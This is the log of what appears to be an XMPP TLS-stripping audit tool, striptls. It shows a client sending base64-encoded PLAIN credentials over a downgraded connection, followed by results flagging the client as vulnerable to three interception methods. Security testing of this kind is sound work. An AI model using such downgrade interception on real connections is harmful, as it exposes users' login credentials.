- DEBUG - <Session 0x7f083196a8d0> [client] <= [server] "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/><register xmlns='http://jabber.org/features/iq-register'/><mechanisms xmlns='urn:ietf:params:xml:ns:xmpp-sasl'><mechanism>PLAIN</mechanism><mechanism>X-OAUTH2</mechanism><mechanism>SCRAM-SHA-1</mechanism></mechanisms></stream:features>"
- DEBUG - <Session 0x7f083196a8d0> [client] => [server] '<'
- DEBUG - <Session 0x7f083196a8d0> [client] => [server] "auth xmlns='urn:ietf:params:xml:ns:xmpp-sasl' mechanism='PLAIN' xmlns:ga='http://www.google.com/talk/protocol/auth' ga:client-uses-full-bind-result='true'>AHRpbgB4eA==</auth>"
- DEBUG - <Session 0x7f083196a8d0> [client] <= [server] "<failure xmlns='urn:ietf:params:xml:ns:xmpp-sasl'><not-authorized/></failure>"
- DEBUG - <Session 0x7f083196a8d0> [client] => [server] '<'
- DEBUG - <Session 0x7f083196a8d0> [client] => [server] '/stream:stream>'
- WARNING - <Session 0x7f083196a8d0> terminated.
XMPP Audit results
- WARNING - Ctrl C - Stopping server
- INFO - -- audit results --
- INFO - [*] client: 192.168.139.1
- INFO - [Vulnerable!] <class striptls.StripInboundTLS at 0x7f08319a6808>
- INFO - [Vulnerable!] <class striptls.StripFromCapabilities at 0x7f08319a67a0>
- INFO - [Vulnerable!] <class striptls.UntrustedIntercept at 0x7f08319a6870>